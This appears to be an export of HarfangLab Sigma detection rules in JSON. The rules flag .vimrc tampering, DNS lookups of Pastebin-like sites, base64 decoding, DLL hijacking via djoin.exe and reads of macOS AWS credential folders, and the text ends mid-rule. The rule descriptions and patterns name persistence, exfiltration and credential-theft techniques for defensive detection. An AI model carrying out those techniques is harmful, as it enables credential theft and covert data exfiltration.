+  "content": "title: Vim Configuration File Modified\nid: fa5fd8c4-73b1-449f-b1a2-bcc19d728a3a\ndescription: |\n    Detects an attempt to modify the .vimrc Vim Configuration File or the ~/.vim/plugins file.\n    Attackers can edit the Vim configuration file as a way to silently execute commands when vim is launched. This can be used to establish persistence or to exfiltrate data.\n    It is recommended to investigate the .vimrc files via a job for any added suspicious commands and to analyze the process and user session responsible for the file edit to look for malicious actions.\nreferences:\n    - https://gtfobins.github.io/gtfobins/vim/\n    - https://twitter.com/alh4zr3d/status/1631655900560629760?s=46&t=bmL9gNSzs4gNil-zD7vIRg\n    - https://attack.mitre.org/techniques/T1543/\n    - https://attack.mitre.org/techniques/T1037/\ndate: 2023/05/03\nmodified: 2025/03/20\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1543\n    - attack.t1037\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.LOLBin.Vim\n    - classification.Linux.Behavior.Persistence\n    - classification.Linux.Behavior.ConfigChange\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        Kind: 'access'\n        Permissions: 'write'\n        Path|endswith:\n            - '/.vimrc'\n            - '/.vim/plugins'\n\n    exclusion_docker:\n        ProcessImage: '/usr/bin/dockerd'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fa5fd8c4-73b1-449f-b1a2-bcc19d728a3a",
+  "rule_name": "Vim Configuration File Modified",
+  "rule_description": "Detects an attempt to modify the .vimrc Vim Configuration File or the ~/.vim/plugins file.\nAttackers can edit the Vim configuration file as a way to silently execute commands when vim is launched. This can be used to establish persistence or to exfiltrate data.\nIt is recommended to investigate the .vimrc files via a job for any added suspicious commands and to analyze the process and user session responsible for the file edit to look for malicious actions.\n",
+  "rule_creation_date": "2023-05-03",
+  "rule_modified_date": "2025-03-20",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1037",
+    "attack.t1543"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fa66e677-615c-4f59-ae3f-767498335e97",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625427Z",
+  "creation_date": "2026-03-23T11:45:34.625429Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625433Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mandiant.com/resources/blog/pick-six-intercepting-a-fin6-intrusion",
+    "https://attack.mitre.org/techniques/T1102/002/",
+    "https://attack.mitre.org/techniques/T1567/003/"
+  ],
+  "name": "t1102_002_dns_resolution_text_storage_sites.yml",
+  "content": "title: DNS Resolution of Text Storage Website\nid: fa66e677-615c-4f59-ae3f-767498335e97\ndescription: |\n    Detects a DNS resolution request to a text storage service such as Pastebin.\n    Adversaries may use this type of website, which allows for the online storage of text for a set period of time, either as a means of sending commands to and receiving output from a compromised system or exfiltrating data.\n    It is recommended to investigate the process at the origin of the DNS resolution to determine whether it is legitimately communicating with this text storage website.\nreferences:\n    - https://www.mandiant.com/resources/blog/pick-six-intercepting-a-fin6-intrusion\n    - https://attack.mitre.org/techniques/T1102/002/\n    - https://attack.mitre.org/techniques/T1567/003/\ndate: 2023/12/06\nmodified: 2025/12/19\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1102.002\n    - attack.t1071.001\n    - attack.exfiltration\n    - attack.t1567.003\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection:\n        QueryName:\n            - 'pastebin.com'\n            - 'paste.ee'\n            - 'pastebin.pl'\n\n    filter_browser:\n        ProcessOriginalFileName:\n            - 'firefox.exe'\n            - 'chrome.exe'\n            - 'brave.exe'\n            - 'msedge.exe'\n            - 'librewolf.exe'\n            - 'opera.exe'\n            - 'vivaldi.exe'\n            - 'iexplore.exe'\n            - 'msedgewebview2.exe'\n            - 'zen.exe'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ProcessSigned: 'true'\n\n    exclusion_misc_windows:\n        ProcessImage:\n            - '?:\\Windows\\System32\\PING.EXE'\n            - '?:\\Windows\\SysWOW64\\PING.EXE'\n            - '?:\\Windows\\System32\\ipconfig.exe'\n            - '?:\\Windows\\SysWOW64\\ipconfig.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiApSrv.exe'\n            - '?:\\Windows\\System32\\smartscreen.exe'\n\n    exclusion_svchost:\n        ProcessImage: '?:\\Windows\\System32\\svchost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_opera:\n        ProcessImage|endswith: '\\opera.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Opera Norway AS'\n\n    exclusion_defender:\n        ProcessOriginalFileName:\n            - 'MsMpEng.exe'\n            - 'MsSense.exe'\n            - 'NisSrv.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_minionhost:\n        ProcessOriginalFileName: 'MinionHost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Cybereason Inc'\n            - 'Cybereason Inc.'\n            - 'Cybereason, Inc'\n\n    exclusion_kaspersky:\n        ProcessOriginalFileName: 'avp.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Kaspersky Lab JSC'\n\n    exclusion_zsatunnel:\n        ProcessOriginalFileName: 'ZSATunnel.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Zscaler, Inc.'\n\n    exclusion_freecad:\n        ProcessOriginalFileName: 'FreeCAD.exe'\n        ProcessDescription: 'FreeCAD main executable'\n\n    exclusion_gdlauncher:\n        ProcessImage: '?:\\Program Files\\Java\\jre*\\bin\\java.exe'\n        ProcessGrandparentImage: '?:\\Users\\\\*\\AppData\\Local\\Programs\\@gddesktop\\GDLauncher.exe'\n\n    exclusion_tabletopesimulator:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\Steam\\steamapps\\common\\Tabletop Simulator\\Tabletop Simulator.exe'\n            - '?:\\Program Files\\Steam\\steamapps\\common\\Tabletop Simulator\\Tabletop Simulator.exe'\n\n    exclusion_postman:\n        ProcessImage|endswith: '\\Postman.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Postman, Inc.'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fa66e677-615c-4f59-ae3f-767498335e97",
+  "rule_name": "DNS Resolution of Text Storage Website",
+  "rule_description": "Detects a DNS resolution request to a text storage service such as Pastebin.\nAdversaries may use this type of website, which allows for the online storage of text for a set period of time, either as a means of sending commands to and receiving output from a compromised system or exfiltrating data.\nIt is recommended to investigate the process at the origin of the DNS resolution to determine whether it is legitimately communicating with this text storage website.\n",
+  "rule_creation_date": "2023-12-06",
+  "rule_modified_date": "2025-12-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1102.002",
+    "attack.t1567.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fad314a5-5899-4ebb-b205-702c867a309b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.671484Z",
+  "creation_date": "2026-03-23T11:45:35.294692Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294697Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1027/T1027.md",
+    "https://man7.org/linux/man-pages/man1/base64.1.html",
+    "https://attack.mitre.org/techniques/T1027/",
+    "https://attack.mitre.org/techniques/T1140/",
+    "https://attack.mitre.org/techniques/T1132/001/"
+  ],
+  "name": "t1027_decoding_base64_linux.yml",
+  "content": "title: Base64 Data Decoded (Linux)\nid: fad314a5-5899-4ebb-b205-702c867a309b\ndescription: |\n    Detects the usage of the base64 utility to decode base64 encoded data.\n    This technique can be used by an attacker to hide a malicious payload and evade security defenses.\n    It is recommended to check the decoded blob or file for malicious content and to check the behavioral context around the execution of this command to determine whether it is legitimate.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1027/T1027.md\n    - https://man7.org/linux/man-pages/man1/base64.1.html\n    - https://attack.mitre.org/techniques/T1027/\n    - https://attack.mitre.org/techniques/T1140/\n    - https://attack.mitre.org/techniques/T1132/001/\ndate: 2022/12/23\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1027\n    - attack.t1140\n    - attack.command_and_control\n    - attack.t1132.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Base64\n    - classification.Linux.Behavior.DefenseEvasion\n    - classification.Linux.Behavior.Obfuscation\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/base64'\n        CommandLine|contains: ' -d'\n        ParentImage|contains: '?'\n\n    exclusion_commandline:\n        CommandLine: 'base64 --decode'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '|/usr/bin/terraform|'\n            - '|/tmp/.mount_cursor*/usr/share/cursor/cursor|'\n            - '|/usr/share/cursor/cursor|'\n            - '|/opt/SolarWinds/Agent/bin/Plugins/ADMProbe/SolarWinds.ADM.AgentPlugin|'\n            - '|/opt/dynatrace/oneagent/agent/lib64/oneagentos|'\n            - '|/usr/local/bin/docker-credential-pass|'\n\n    exclusion_cron:\n        ParentCommandLine:\n            - '*sh /etc/cron.daily/brave'\n            - '*sh /etc/cron.daily/google-chrome'\n            - '*sh /etc/cron.daily/google-chrome-beta'\n            - '*sh /etc/cron.daily/google-chrome-unstable'\n            - '*sh /etc/cron.daily/chrome-remote-desktop'\n            - '*sh /etc/cron.daily/microsoft-edge'\n            - '*sh /etc/cron.daily/opera-browser'\n            - '*sh /etc/cron.daily/vivaldi'\n\n    exclusion_apt:\n        - ParentCommandLine|startswith:\n            - '/bin/sh /bin/apt-key '\n            - '/bin/sh /usr/bin/apt-key '\n        - GrandparentImage: '/usr/bin/dpkg'\n\n    exclusion_prodigeadmin:\n        ParentCommandLine|startswith:\n            - '/bin/bash /prodige/admin/prodigeadmin/.pgih-bootstrap/s_meteo.sh '\n            - '/bin/bash /prodige/admin/prodigeadmin/production/.pgih-scripts/pgihadmin'\n\n    exclusion_azure_linux_ext:\n        ParentCommandLine|startswith: '/bin/sh -c /usr/bin/base64 -d /tmp/tmp* | /usr/bin/openssl smime -inform der -decrypt -recip'\n\n    exclusion_centreon:\n        - ParentCommandLine|contains: '/usr/lib/centreon/plugins//check_powerscale_quotas.sh'\n        - GrandparentCommandLine|contains: '/usr/lib/centreon/plugins//check_powerscale_quotas.sh'\n\n    exclusion_container:\n        - ProcessParentImage:\n            - '/usr/bin/containerd-shim-runc-v2'\n            - '/opt/containerd/bin/containerd-shim-runc-v2'\n        - ProcessAncestors|contains:\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/opt/containerd/bin/containerd-shim-runc-v2|'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fad314a5-5899-4ebb-b205-702c867a309b",
+  "rule_name": "Base64 Data Decoded (Linux)",
+  "rule_description": "Detects the usage of the base64 utility to decode base64 encoded data.\nThis technique can be used by an attacker to hide a malicious payload and evade security defenses.\nIt is recommended to check the decoded blob or file for malicious content and to check the behavioral context around the execution of this command to determine whether it is legitimate.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027",
+    "attack.t1132.001",
+    "attack.t1140"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fadda78b-209a-41be-b9a6-9b99cb3c0f61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082492Z",
+  "creation_date": "2026-03-23T11:45:34.082494Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082498Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_djoin.yml",
+  "content": "title: DLL Hijacking via djoin.exe\nid: fadda78b-209a-41be-b9a6-9b99cb3c0f61\ndescription: |\n    Detects potential Windows DLL Hijacking via djoin.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'djoin.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dbgcore.DLL'\n            - '\\dbghelp.dll'\n            - '\\JOINUTIL.DLL'\n            - '\\logoncli.dll'\n            - '\\netprovfw.dll'\n            - '\\netutils.dll'\n            - '\\wdscore.dll'\n            - '\\wkscli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fadda78b-209a-41be-b9a6-9b99cb3c0f61",
+  "rule_name": "DLL Hijacking via djoin.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via djoin.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fae7a83d-e36c-4641-801d-5ce8281bd8a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296555Z",
+  "creation_date": "2026-03-23T11:45:35.296557Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296562Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1552/001/"
+  ],
+  "name": "t1552_004_aws_config_read_macos.yml",
+  "content": "title: Suspicious Read Access to User's AWS Configuration Folder\nid: fae7a83d-e36c-4641-801d-5ce8281bd8a8\ndescription: |\n    Detects an attempt to read the contents of the AWS configuration folder.\n    Adversaries may access to user's AWS configuration file in order to gather credentials and move to cloud environments.\n    It is recommended to verify if the process performing the read operation has legitimate reason to do it.\nreferences:\n    - https://attack.mitre.org/techniques/T1552/001/\ndate: 2024/06/18\nmodified: 2026/02/20\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.001\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_files:\n        Kind: 'read'\n        Path|startswith: '/Users/*/.aws/'\n        ProcessImage|contains: '?'\n        ProcessParentImage|contains: '?'\n\n    filter_aws_cli:\n        Image:\n            - '/usr/local/aws-cli/aws'\n            # launched by aws ssm start-session --target *--profile *\n            - '/usr/local/sessionmanagerplugin/bin/session-manager-plugin'\n            - '/usr/local/aws-cli/aws_completer'\n            - '/Users/*/.asdf/installs/awscli/*/aws'\n            - '/opt/homebrew/Cellar/granted/*/bin/granted'\n\n# Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_hurukai:\n        Image: '/Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n    exclusion_fortinet:\n        Image:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n    exclusion_microsoft_defender:\n        Image:\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n    exclusion_fsecure:\n        Image:\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fsavd.app/Contents/MacOS/fsavd'\n    exclusion_bitdefender:\n        Image: '/Library/Bitdefender/AVP/product/bin/BDLDaemon.app/Contents/MacOS/BDLDaemon'\n    exclusion_eset:\n        Image:\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n    exclusion_withssecure:\n        Image:\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n    exclusion_sentinel:\n        Image: '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n    exclusion_avast:\n        Image: '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n    exclusion_trend:\n        Image: '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n    exclusion_sophos:\n        Image: '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n\n    ### backup sofware ###\n    exclusion_arq:\n        Image: '/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n# end common exclusion\n\n    exclusion_misc_tools:\n        ProcessImage|contains:\n            - 'python'\n            - 'ruby'\n            - 'node'\n            - 'terraform'\n            - 'starship' # https://github.com/starship/starship\n            - '/terragrunt'\n            - /usr/bin/awk'\n            - '/Users/*/.local/bin/zsh (qterm)'\n            - 'steampipe-plugin-aws.plugin'\n            - 'nvim'\n            - 'awk'\n            - 'grep'\n            - '/usr/bin/vim'\n\n    exclusion_visualcode:\n        - Image: '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper (Plugin).app/Contents/MacOS/Code Helper (Plugin)'\n        - ProcessAncestors|contains: 'Visual Studio Code.app/Contents/MacOS/Electron'\n\n    exclusion_common_folders:\n        ProcessImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n\n            - '/private/var/folders/??/*/?/AppTranslocation/'\n\n    exclusion_textedit:\n        Image: '/System/Applications/TextEdit.app/Contents/MacOS/TextEdit'\n\n    exclusion_md5:\n        Image: '/sbin/md5'\n\n    exclusion_flintrock:\n        Image:\n            - '/Users/*/Flintrock-*-standalone-macOS-arm64/flintrock'\n            - '/usr/local/bin/flintrock-*-standalone-macos-arm64/flintrock'\n            - '/usr/local/bin/flintrock-*-standalone-macOS-x86_64/flintrock'\n\n    exclusion_dotnet:\n        Image: '/usr/local/share/dotnet/dotnet'\n\n    exclusion_sops:\n        Image: '/opt/homebrew/Cellar/sops/*/bin/sops'\n\n    exclusion_rider:\n        ProcessParentImage:\n            - '/Applications/Rider.app/Contents/lib/ReSharperHost/macos-arm64/JetBrains.Debugger.Worker'\n            - '/Users/*/Applications/Rider.app/Contents/MacOS/rider'\n\n    exclusion_orb:\n        Image: '/Volumes/Install OrbStack v*/OrbStack.app/Contents/Frameworks/OrbStack Helper.app/Contents/MacOS/OrbStack Helper'\n\n    exclusion_sed:\n        Image: '/usr/bin/sed'\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.apple.sed'\n\n    exclusion_claude:\n        Image: '/Users/*/.vscode/extensions/anthropic.claude-code-*-darwin-arm64/resources/native-binary/claude'\n        ProcessParentImage: '/Users/*/.vscode/extensions/anthropic.claude-code-*-darwin-arm64/resources/native-binary/claude'\n        ProcessAncestors|contains: '|/Users/*/.vscode/extensions/anthropic.claude-code-*-darwin-arm64/resources/native-binary/claude'\n\n    exclusion_kiro:\n        ProcessGrandparentImage: '/Applications/Kiro.app/Contents/Frameworks/Kiro Helper.app/Contents/MacOS/Kiro Helper'\n\n    condition: all of selection_* and 